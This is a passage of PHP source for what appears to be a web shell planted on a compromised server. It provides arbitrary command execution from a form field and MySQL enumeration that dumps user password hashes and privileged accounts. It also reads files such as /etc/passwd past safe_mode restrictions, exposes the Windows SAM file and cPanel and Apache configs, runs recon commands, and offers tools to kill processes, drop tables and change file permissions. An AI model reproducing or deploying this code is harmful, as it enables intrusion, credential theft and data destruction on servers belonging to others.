       echo "<tr>";
       $w = "";
       $i = 0;
       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
       echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
       $i = 0;
       foreach ($row as $k=>$v)
       {
        $v = htmlspecialchars($v);
        if ($v == "") {$v = "<label>Null</label>";}
        echo "<td><label>".$v."</label></td>";
        $i++;
       }
       echo "<td>";
       echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><label class=\"table_list\">Delete</label></a>&nbsp;";
       echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><label class=\"table_list\">Edit</label></a>&nbsp;";
       echo "</td>";
       echo "</tr>";
      }
      mysql_free_result($result);
      echo "</table><select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"deleterow\">Delete</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
     }
    }
    else {
     $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
     if (!$result) {echo mysql_smarterror($sql_sock);}
     else
     {
      echo "<br><form method=\"POST\"><TABLE name=\"select\" style=\"border:0;\"><tr align=center><th><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></th><th><label>Table</label></th><th><label>Rows</label></th><th><label>Type</label></th><th><label>Created</label></th><th><label>Modified</label></th><th><label>Size</label></th><th><label>Action</label></th></tr>";
      $i = 0;
      $tsize = $trows = 0;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       $tsize += $row["Data_length"];
       $trows += $row["Rows"];
       $size = view_size($row["Data_length"]);
       echo "<tr>";
       echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><label class=\"table_list\">".$row["Name"]."<label></a>&nbsp;</td>";
       echo "<td><label>".$row["Rows"]."</label></td>";
       echo "<td><label>".$row["Create_time"]."</label></td>";
       echo "<td><label>".$row["Update_time"]."</label></td>";
       echo "<td><label>".$size."</label></td>";
       echo "<td><label>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><label class=\"table_list\">Empty</label></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><label class=\"table_list\">Drop</label></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><label class=\"table_list\">Insert</label></a>&nbsp;</label></td>";
       echo "</tr>";
       $i++;
      }
      echo "<tr bgcolor=\"000000\">";
      echo "<td></td>";
      echo "<td><center><label>".$i." table(s)</label></center></td>";
      echo "<td><label>".$trows."</label></td>";
      echo "<td><label>".$row[1]."</label></td>";
      echo "<td><label>".$row[10]."</label></td>";
      echo "<td><label>".$row[11]."<label></td>";
      echo "<td><label>".view_size($tsize)."</label></td>";
      echo "<td></td>";
      echo "</tr>";
      echo "</table><hr size=\"1\" noshade><p align=\"right\"><select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"tbldrop\">Drop</option>";
      echo "<option value=\"tblempty\">Empty</option>";
      echo "<option value=\"tbldump\">Dump</option>";
      echo "<option value=\"tblcheck\">Check table</option>";
      echo "<option value=\"tbloptimize\">Optimize table</option>";
      echo "<option value=\"tblrepair\">Repair table</option>";
      echo "<option value=\"tblanalyze\">Analyze table</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
      mysql_free_result($result);
     }
    }
   }
   }
  }
  else {
   $acts = array("","newdb","serverstatus","servervars","processes","getfile");
   if (@in_array($sql_act,$acts)) {?><table class="sql"><tr><td width="30%" height="1"><label>Create new Database:</label><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><label>View File:</label><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo ((isset($sql_getfile))?($sql_getfile):('/etc/passwd')); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
   if (!empty($sql_act)) {
    echo "<hr size=\"1\" noshade>";
    if ($sql_act == "newdb") {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "<label>DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</label><br>";}
     else {echo "<label>Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br><u>Reason:</u></label> ".mysql_smarterror();}
    }
	if ($sql_act == "enum") {
	echo "<div style=\"font: 8pt Verdana; color: #cccccc;\">[*] Running MySQL Enumerator...<br>";
	echo "[*] Enumerating Parameters <br>";
	$result = mysql_query("select @@version", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] MySQL Version ". $row[0] ."<br>";
	$result = mysql_query("select @@version_compile_os", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] Compiled for the following OS: ". $row[0] ."<br>" ;
	$result = mysql_query("select @@version_compile_machine", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] Architecture: ". $row[0] ."<br>" ;
	$result = mysql_query("select @@datadir", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] Data Directory: ". $row[0] ."<br>" ;
	$result = mysql_query("select @@log", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	if($row[0] == "OFF"){
	echo "[*] Logging of queries and logins: OFF<br>";
	}else{
	echo "[*] Logging of queries and logins: ON <br>";
	$result = mysql_query("select @@log_bin", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] Log Files Location: ". $row[0] ."<br>";
	}
	$result = mysql_query("select @@old_passwords", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] Old Password Hashing Algorithm ". $row[0] ."<br>" ;
	$result = mysql_query("select @@local_infile", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] Loading of local files: ". $row[0] ."<br>" ;
	$result = mysql_query("select @@secure_auth", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] Logins with old Pre-4.1 Passwords: ". $row[0] ."<br>" ;
	$result = mysql_query("select @@skip_grant_tables", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] Skipping of GRANT TABLE: ". $row[0] ."<br>" ;
	$result = mysql_query("select @@have_symlink", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] Allow Use of symlinks for Database Files: ". $row[0] ."<br>" ;
	$result = mysql_query("select @@have_merge_engine", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] Allow Table Merge: ". $row[0] ."<br>" ;
	$result = mysql_query("select @@safe_show_database", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] Restrict DB Enumeration by Privilege: ". $row[0] ."<br>" ;
	$result = mysql_query("select @@have_openssl", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	if($row[0] == "YES"){
	echo "[*] SSL Connections: Enabled<br>" ;
	$result = mysql_query("select @@ssl_ca", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] SSL CA Certificate: ". $row[0] . "<br>" ;
	$result = mysql_query("select @@ssl_key", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] SSL Key: ". $row[0] ."<br>" ;
	$result = mysql_query("select @@ssl_cert", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] SSL Certificate: ". $row[0] ."<br>" ;
	}else{
	$result = mysql_query("select @@have_openssl", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	echo "[*] SSL Connection: ". $row[0] ."<br><br>" ;
	}
	echo "[*] Enumerating Accounts...<br>";
	echo "[*] List of Accounts with Password Hashes:<br>";
	echo "<TABLE style=\"border:0;\">";
    $result = mysql_query("select user, host, password from mysql.user", $sql_sock);
	if(mysql_num_rows($result) > 0){
	while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td><td><label>".$row[2]."</label></td></tr>";}
    }else{
	echo 0;
	}
	echo "</table>";
	$result = mysql_query("select @@have_openssl", $sql_sock); $row = mysql_fetch_array($result, MYSQL_NUM);
	if($row[0] == "YES"){
	$result = mysql_query("select user, host, ssl_type from mysql.user where ssl_type (ssl_type = 'ANY') or (ssl_type = 'X509') or (ssl_type = 'SPECIFIED')", $sql_sock);
	echo "The following users can login using SSL:";
	echo "<TABLE style=\"border:0;\">";
	if(mysql_num_rows($result) > 0){
	while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td><td><label>".$row[2]."</label></td></tr>";}
	}else{
	echo 0;
	}
	echo "</table>";
	}
	echo "[*] The following users have GRANT Privilege:<br>";
	echo "<TABLE style=\"border:0;\">";
    $result = mysql_query("select user, host from mysql.user where Grant_priv = 'Y'", $sql_sock);
	if(mysql_num_rows($result) > 0){
	while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td></tr>";}
    }else{
	echo 0;
	}
	echo "</table>";
	echo "[*] The following users have CREATE USER Privilege:<br>";
	echo "<TABLE style=\"border:0;\">";
    $result = mysql_query("select user, host from mysql.user where Create_user_priv = 'Y'", $sql_sock);
	if(mysql_num_rows($result) > 0){
	while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td></tr>";}
    }else{
	echo 0;
	}
	echo "</table>";
	echo "[*] The following users have RELOAD Privilege:<br>";
	echo "<TABLE style=\"border:0;\">";
    $result = mysql_query("select user, host from mysql.user where Reload_priv = 'Y'", $sql_sock);
	if(mysql_num_rows($result) > 0){
	while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td></tr>";}
    }else{
	echo 0;
	}
	echo "</table>";
	echo "[*] The following users have SHUTDOWN Privilege:<br>";
	echo "<TABLE style=\"border:0;\">";
    $result = mysql_query("select user, host from mysql.user where Shutdown_priv = 'Y'", $sql_sock);
	if(mysql_num_rows($result) > 0){
	while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td></tr>";}
    }else{
	echo 0;
	}
	echo "</table>";
	echo "[*] The following users have SUPER Privilege:<br>";
	echo "<TABLE style=\"border:0;\">";
    $result = mysql_query("select user, host from mysql.user where Super_priv = 'Y'", $sql_sock);
	if(mysql_num_rows($result) > 0){
	while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td></tr>";}
    }else{
	echo 0;
	}
	echo "</table>";
	echo "[*] The following users have FILE Privilege:<br>";
	echo "<TABLE style=\"border:0;\">";
    $result = mysql_query("select user, host from mysql.user where FILE_priv = 'Y'", $sql_sock);
	if(mysql_num_rows($result) > 0){
	while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td></tr>";}
    }else{
	echo 0;
	}
	echo "</table>";
	echo "[*] The following users have POCESS Privilege:<br>";
	echo "<TABLE style=\"border:0;\">";
    $result = mysql_query("select user, host from mysql.user where Process_priv = 'Y'", $sql_sock);
	if(mysql_num_rows($result) > 0){
	while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td></tr>";}
    }else{
	echo 0;
	}
	echo "</table>";
	echo "[*] Anonymous Accounts are Present:<br>";
	echo "<TABLE style=\"border:0;\">";
    $result = mysql_query("select user, host from mysql.user where user = ''", $sql_sock);
	if(mysql_num_rows($result) > 0){
	while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td></tr>";}
    }else{
	echo 0;
	}
	echo "</table>";
	echo "[*] The following accounts have empty passwords:<br>";
	if (mysql_num_rows($res) > 0)
	echo "<TABLE style=\"border:0;\">";
    $result = mysql_query("select user, host, password from mysql.user where length(password) = 0 or password is null", $sql_sock);
	if(mysql_num_rows($result) > 0){
	while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td></tr>";}
    }else{
	echo 0;
	}
	echo "</table>";
	
	echo "</div>";
     mysql_free_result($result);
	}
    if ($sql_act == "serverstatus") {
     $result = mysql_query("SHOW STATUS", $sql_sock);
     echo "<div align=\"center\"><label>Server-status variables:</label></div>";
     echo "<TABLE style=\"border:0;\" name=\"select\" align=\"center\"><th><label>Name</label></th><th><label>Value</label></th></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "servervars") {
     $result = mysql_query("SHOW VARIABLES", $sql_sock);
     echo "<div align=\"center\"><label>Server variables:</label></div>";
     echo "<TABLE style=\"border:0;\" name=\"select\" align=\"center\"><th><label>Name</label></th><th><label>Value</label></th></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "processes") {
     if (!empty($kill)) {
       $query = "KILL ".$kill.";";
       $result = mysql_query($query, $sql_sock);
       echo "<label>Process #".$kill." was killed.</label>";
     }
     $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
     echo "<div align=\"center\"><label>Processes:</label></div>";
     echo "<TABLE style=\"border:0;\" name=\"select\" align=\"center\"><th><label>ID</label></th><th><label>USER</label></th><th><label>HOST</label></th><th><label>DB</label></th><th><label>COMMAND</label></th><th><label>TIME</label></th><th><label>STATE</label></th><th><label>INFO</label></th><th><label>Action</label></th></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td><label>".$row[0]."</label></td><td><label>".$row[1]."</label></td><td><label>".$row[2]."</label></td><td><label>".$row[3]."</label></td><td><label>".$row[4]."</label></td><td><label>".$row[5]."</label></td><td><label>".$row[6]."</label></td><td><label>".$row[7]."</label></td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><label style=\"color:#cccccc; cursor:pointer;\">Kill</label></a></td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "getfile")
    {
     $tmpdb = $sql_login."_tmpdb";
     $select = mysql_select_db($tmpdb);
     if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
     if ($select)
     {
      $created = FALSE;
      mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
      mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
      $result = mysql_query("SELECT * FROM tmp_file;");
      if (!$result) {echo "<label>Error in reading file (permision denied)!</label>";}
      else
      {
       for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
       $f = "";
       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
       if (empty($f)) {echo "<label>File \"".$sql_getfile."\" does not exists or empty!</label<br><br>";}
       else {echo "<table><tr bgcolor=\"#666666\"><td><label>File: ".$sql_getfile."</label><br></td></tr><tr bgcolor=\"#808080\"><td><textarea cols=78 rows=15>".htmlspecialchars($f)."</textarea></td></tr></table>";}
       mysql_free_result($result);
       mysql_query("DROP TABLE tmp_file;");
      }
     }
     @mysql_drop_db($tmpdb);
    }
   }
  }
}
echo "</td></tr></table>\n";
if ($sql_sock) {
  $affected = @mysql_affected_rows($sql_sock);
  if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  echo "<tr><td><center><label>Affected rows : ".$affected."</label></center></td></tr>";
}
echo "<br></table>".$footer;
die();
}
if (isset($act) && $act == "cmd") {
echo '<table width="100%"><tr><td bgcolor="#666666"><label>Cmd: '.$_POST['cmdtext'].'</label></td></tr><tr><td align="center" bgcolor="#808080"><textarea id=report name=report cols=96 rows=18>'. ex($_POST['cmdtext']).'</textarea></td></tr></table>';
}
if (isset($act) && $act == "security") {
  echo "<table style=\"border:0; width:100%\">\n".
       "<tr><td><label>Open Base Dir</label></td><td><font face=Verdana size=-2 color=red><b>".@ini_get("open_basedir")."</b></font></td></tr>\n";
  echo "<td><label>Password File</label></td><td>";
  if (!$windows) {
    if ($nixpasswd) {
      if ($nixpasswd == 1) {$nixpasswd = 0;}
      echo "<label>*nix /etc/passwd:</label><br>";
      if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
      if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
      echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><label>From:</label>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<label>To:</label>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
      $i = $nixpwd_s;
      while ($i < $nixpwd_e) {
        $uid = posix_getpwuid($i);
        if ($uid) {
          $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\"><label style=\"cursor:pointer;\">".$uid["dir"]."</label></a>";
          echo join(":",$uid)."<br>";
        }
        $i++;
      }
    }
    else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><label style=\"cursor:pointer;\">Download /etc/passwd</label></a>";}
  }
  else {
    $v = $_SERVER["WINDIR"]."\repair\sam";
    if (!@file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><label style=\"cursor:pointer;\">Download password file</label></a>"; }
  }
  echo "</td></tr>\n";
  echo "<tr><td><label>Config Files</label></td><td>\n";
  if (!$windows) {
    $v = array(
        array("User Domains","/etc/userdomains"),
        array("Cpanel Config","/var/cpanel/accounting.log"),
        array("Apache Config","/usr/local/apache/conf/httpd.conf"),
        array("Apache Config","/etc/httpd.conf"),
        array("Syslog Config","/etc/syslog.conf"),
        array("Message of The Day","/etc/motd"),
        array("Hosts","/etc/hosts")
    );
    $sep = "/";
  }
  else {
    $windir = $_SERVER["WINDIR"];
    $etcdir = $windir . "\system32\drivers\etc\\";
    $v = array(
        array("Hosts",$etcdir."hosts"),
        array("Local Network Map",$etcdir."networks"),
        array("LM Hosts",$etcdir."lmhosts.sam"),
    );
    $sep = "\\";
  }
  foreach ($v as $sec_arr) {
    $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
    $sec_d = rtrim($sec_arr[1],$sec_f);
    $sec_full = $sec_d.$sec_f;
    $sec_d = rtrim($sec_d,$sep);
    if (@file_get_contents($sec_full)) {
      echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><label style=\"cursor:pointer;\">".$sec_arr[0]."</label></a> ] \n";
    }
  }
  echo "</td></tr>";
  function displaysecinfo($name,$value) {
    if (!empty($value)) {
      echo "<tr><td><label>".$name."</td><td><pre>".wordwrap($value,100)."</pre></label></td></tr>\n";
    }
  }
  if (!$windows) {
    displaysecinfo("OS Version",ex("cat /proc/version"));
    displaysecinfo("Kernel Version",ex("sysctl -a | grep version"));
    displaysecinfo("Distrib Name",ex("cat /etc/issue.net"));
    displaysecinfo("Distrib Name (2)",ex("cat /etc/*-realise"));
    displaysecinfo("CPU Info",ex("cat /proc/cpuinfo"));
    displaysecinfo("RAM",ex("free -m"));
    displaysecinfo("HDD Space",ex("df -h"));
    displaysecinfo("List of Attributes",ex("lsattr -a"));
    displaysecinfo("Mount Options",ex("cat /etc/fstab"));
    displaysecinfo("lynx installed?",ex("which lynx"));
    displaysecinfo("links installed?",ex("which links"));
    displaysecinfo("GET installed?",ex("which GET"));
    displaysecinfo("Where is Apache?",ex("whereis apache"));
    displaysecinfo("Where is perl?",ex("whereis perl"));
    displaysecinfo("Locate proftpd.conf",ex("locate proftpd.conf"));
    displaysecinfo("Locate httpd.conf",ex("locate httpd.conf"));
    displaysecinfo("Locate my.conf",ex("locate my.conf"));
    displaysecinfo("Locate psybnc.conf",ex("locate psybnc.conf"));
  }
  else {
    displaysecinfo("OS Version",ex("ver"));
    displaysecinfo("Account Settings",ex("net accounts"));
    displaysecinfo("User Accounts",ex("net user"));
  }
  echo "</table>\n";
} 
if (isset($act) && $act == "processes") {
  echo "<center><label style=\"color:#cccccc;\"> Processes </label></center>\n";
  if (!$windows) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); }
  else { $handler = "tasklist"; }
  $ret = ex($handler);
  if (!$ret) { echo "<label>Can't execute \"".$handler."\"!</label>"; }
  else {
    if (empty($processes_sort)) { $processes_sort = $sort_default; }
    $parsesort = parsesort($processes_sort);
    if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
    $k = $parsesort[0];
    if ($parsesort[1] != "a") {
      $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=".$_SERVER['PHP_SELF']."?img=2></a>";
    }
    else {
      $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=".$_SERVER['PHP_SELF']."?img=1></a>";
    }
    $ret = htmlspecialchars($ret);
    if (!$windows) {
      if ($pid) {
        if (is_null($sig)) { $sig = 9; }
        echo "<label>Sending signal ".$sig." to #".$pid."... </label>";
        if (posix_kill($pid,$sig)) { echo "<label>OK</label>"; } else { echo "<label>ERROR.</label>"; }
      }
      while (ereg("  ",$ret)) { $ret = str_replace("  "," ",$ret); }
      $stack = explode("\n",$ret);
      $head = explode(" ",$stack[0]);
      unset($stack[0]);
      for($i=0;$i<count($head);$i++) {
        if ($i != $k) {
          $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><label style=\"cursor:pointer;\">".$head[$i]."</label></a>";
        }
      }
      $head[$i] = "";
      $prcs = array();
      foreach ($stack as $line) {
        if (!empty($line)) {
          $line = explode(" ",$line);
          $line[10] = join(" ",array_slice($line,10));
          $line = array_slice($line,0,11);
          if ($line[0] == get_current_user()) { $line[0] = "<label style=\"color:green;\">".$line[0]."</label>"; }
          $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
          $prcs[] = $line;
        }
      }
    }
    else {
      while (ereg("  ",$ret)) { $ret = str_replace("  "," ",$ret); }
      while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
      $ret = convert_cyr_string($ret,"d","w");
      $stack = explode("\n",$ret);
      unset($stack[0],$stack[2]);
      $stack = array_values($stack);
      $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
      $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
      $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
      $head = explode(" ",$stack[0]);
      $stack = array_slice($stack,1);
      $head = array_values($head);
      if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=".$_SERVER['PHP_SELF']."?img=2></a>"; }
      else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=".$_SERVER['PHP_SELF']."?img=1></a>"; }
      if ($k > count($head)) {$k = count($head)-1;}
      for($i=0;$i<count($head);$i++) {
        if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><label style=\"cursor:pointer;\">".trim($head[$i])."</label></a>"; }
      }
      $prcs = array();
      unset($stack[0]);
      foreach ($stack as $line) {
        if (!empty($line)) {
          $line = explode(" ",$line);
          $line[4] = str_replace(".","",$line[4]);
          $line[4] = intval($line[4]) * 1024;
          unset($line[5]);
          $prcs[] = $line;
        }
      }
    }
    $head[$k] = "<label>".$head[$k]."</label>".$y;
    $v = $processes_sort[0];
    usort($prcs,"tabsort");
    if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
    $tab = array();
    $tab[] = $head;
    $tab = array_merge($tab,$prcs);
    echo "<table width=\"100%\" name=\"select\">\n";
    foreach($tab as $i=>$k) {
      echo "<tr>";
      foreach($k as $j=>$v) {
        if ($windows and $i > 0 and $j == 4) { $v = view_size($v); }
        echo "<td><label>".$v."</label></td>";
      }
      echo "</tr>\n";
    }
    echo "</table>";
  }
}
echo "</td></tr></table>";
echo "<table width=100% cellpadding=0 cellspacing=0>";
function up_down($id)
 {
 global $lang;
 global $language;
 return '&nbsp<img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="'.$lang[$language.'_text109'].'"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="'.$lang[$language.'_text110'].'">';
 }
function div($id)
 {
 if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';
 return '<div id="'.$id.'">';
 }

echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>","<input type=text name=cmdtext size=85 id=zonetxt onkeyup=\"AutoComplite(this.value);\"><input type=\"hidden\" name=\"act\" value=\"cmd\">".ws(4).in('submit','execute',0,$lang[$language.'_butt1'])."<br><div id=\"InfoBull\"></div>");
echo $te.'</div>'.$table_end1.$fe;

echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts;
echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',77,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt16']));
echo $te.'</div>'.$table_end1.$fe;

echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts;
echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',30,((isset($_POST['param1']))?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',15,((isset($_POST['param2']))?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;

echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts;
echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','act',0,'search_text').in('hidden','dir',0,$dir));
echo $te.'</div>'.$table_end1.$fe;

echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo $table_up1.$lang[$language.'_text5'].up_down('id31').$table_up2.div('id31').$ts;
